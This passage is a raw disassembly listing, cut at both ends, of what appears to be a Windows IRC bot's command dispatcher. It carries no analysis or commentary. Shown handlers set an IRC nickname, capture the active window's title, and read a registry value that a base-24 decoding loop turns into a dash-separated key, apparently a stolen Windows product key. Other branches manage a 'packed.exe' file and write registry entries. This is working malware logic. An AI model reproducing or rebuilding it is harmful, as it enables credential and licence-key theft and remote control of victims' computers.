-63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call dword_4171D8 ; GetForegroundWindow push eax call dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset aALSsSCJEKi ; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›" lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset aS ; "%s" lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA40 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC00 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA20 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF18 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset aPacked_exe_0 ; "packed.exe" call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset aPacked_exe ; "packed.exe" push offset aPacked_exe_0 ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, off_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF18 push offset dword_419B64 lea eax, 